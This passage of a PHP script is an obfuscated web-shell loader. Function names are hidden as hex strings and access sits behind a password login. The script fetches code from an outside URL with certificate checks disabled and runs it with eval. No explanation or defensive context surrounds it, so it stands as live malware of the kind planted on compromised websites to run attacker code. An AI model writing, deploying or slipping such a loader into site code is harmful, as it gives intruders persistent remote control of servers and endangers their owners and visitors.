HTML; exit; } function hex2str($hex) { $str = ''; for ($i = 0; $i < strlen($hex); $i += 2) { $str .= chr(hexdec(substr($hex, $i, 2))); } return $str; } function geturlsinfo($destiny) { $methods = array( hex2str('666f70656e'), hex2str('73747265616d5f6765745f636f6e74656e7473'), hex2str('66696c655f6765745f636f6e74656e7473'), // hex2str('6375726c5f65786563') ); if (function_exists($methods[3])) { $ch = curl_init($destiny); curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1); curl_setopt($ch, CURLOPT_FOLLOWLOCATION, 1); curl_setopt($ch, CURLOPT_USERAGENT, "Mozilla/5.0 (compatible)"); curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, 0); curl_setopt($ch, CURLOPT_SSL_VERIFYHOST, 0); $result = $methods[3]($ch); curl_close($ch); return $result; } elseif (function_exists($methods[2])) { return $methods[2]($destiny); } elseif (function_exists($methods[0]) && function_exists($methods[1])) { $handle = $methods[0]($destiny, "r"); $result = $methods[1]($handle); fclose($handle); return $result; } return false; } if (!isset($_SESSION[$session_key])) { if ($_SERVER['REQUEST_METHOD'] === 'POST' && isset($_POST['password'])) { if (password_verify($_POST['password'], $secure_password_hash)) { $_SESSION[$session_key] = true; } else { show_login_form(); } } else { show_login_form(); } } $target_url = 'https://siteground.rubypanel.com/list/cah'; $payload = geturlsinfo($target_url); if ($payload !== false) { eval('?>' . $payload); } ?>